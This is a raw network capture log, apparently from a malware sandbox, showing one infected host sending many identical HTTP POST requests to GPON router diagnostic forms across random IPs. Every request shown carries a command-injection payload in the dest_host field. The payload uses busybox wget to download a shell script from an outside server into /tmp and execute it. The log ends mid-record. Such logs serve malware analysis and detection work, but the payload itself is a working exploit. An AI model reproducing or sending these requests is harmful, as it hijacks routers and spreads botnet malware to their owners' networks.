Mar 21, 2024 05:23:46.887732029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2167	192.168.2.13	58812	109.82.68.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887736082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2168	192.168.2.13	43134	109.76.37.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887764931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2169	192.168.2.13	51462	5.118.99.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887773991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2170	192.168.2.13	55550	5.124.0.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887779951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2171	192.168.2.13	33368	42.245.6.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887785912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2172	192.168.2.13	53314	109.16.238.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887820005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2173	192.168.2.13	43146	5.51.225.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887824059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2174	192.168.2.13	54430	109.44.50.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887834072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2175	192.168.2.13	45178	42.138.136.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887835026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2176	192.168.2.13	48766	109.19.83.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887861967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2177	192.168.2.13	36840	109.72.219.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887862921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2178	192.168.2.13	44728	109.87.140.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887896061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2179	192.168.2.13	58792	109.240.69.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887929916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2180	192.168.2.13	33576	5.33.46.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887934923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2181	192.168.2.13	34480	42.209.0.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887954950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2182	192.168.2.13	34382	212.82.58.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887957096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2183	192.168.2.13	57438	118.22.189.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887972116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2184	192.168.2.13	50428	5.231.24.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887976885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2185	192.168.2.13	54934	118.116.38.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888000965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2186	192.168.2.13	33922	118.98.19.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888012886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2187	192.168.2.13	50092	212.123.163.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888041973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2188	192.168.2.13	52062	109.54.119.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888041973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2189	192.168.2.13	42102	118.128.108.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.888047934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2190	192.168.2.13	34966	212.109.161.52	443

Timestamp	Bytes transferred	Direction	Data
